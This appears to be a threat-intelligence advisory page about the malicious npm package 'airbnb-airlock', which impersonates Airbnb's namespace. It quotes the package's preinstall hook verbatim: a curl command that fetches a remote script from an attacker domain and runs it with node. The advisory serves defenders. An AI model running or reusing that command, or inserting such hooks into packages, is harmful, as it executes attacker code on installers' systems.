Malicious code in airbnb-airlock (npm)
Description
The npm package 'airbnb-airlock' version 99.0.0 contains malicious code that executes a remote JavaScript file during installation. The package's preinstall script downloads and runs a script from an attacker-controlled domain without any integrity verification. The package impersonates the Airbnb namespace to deceive users into installing it. This behavior poses a risk of arbitrary code execution during npm install.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'airbnb-airlock' npm package (version 99.0.0) includes a preinstall lifecycle hook that runs the command `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`. This command fetches a JavaScript file from a remote, attacker-controlled domain and executes it immediately during installation. The fetched script is mutable and not verified by any hash or signature, allowing the attacker to run arbitrary code on the installer's system. The package contains no legitimate functionality and uses the 'airbnb-' prefix to impersonate Airbnb's open-source namespace, likely to trick users searching for Airbnb-related tooling.
Potential Impact
Installing this package results in arbitrary code execution on the system running npm install, as the preinstall script downloads and runs attacker-controlled code without verification. This can lead to compromise of the host environment, data theft, or further malicious activity. The impersonation of a trusted namespace increases the risk of accidental installation by users expecting legitimate Airbnb packages.
Mitigation Recommendations
Do not install the 'airbnb-airlock' package version 99.0.0. Since this is a malicious package impersonating a trusted namespace, users should verify package authenticity before installation and avoid packages with suspicious names or unverified sources. There is no official fix or patch since the package itself is malicious and should be removed from any dependency lists. Use trusted package sources and consider using tools that detect malicious packages during dependency audits.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6293
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-mx2w-2q79-99vv"]
- Ecosystems
- ["npm"]
Threat ID: 6a96f31bacd9273b49e498e7
Added to database: 09/01/2026, 15:45:31 UTC
Last enriched: 09/08/2026, 06:53:55 UTC
Last updated: 10/01/2026, 22:45:33 UTC
Views: 38
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.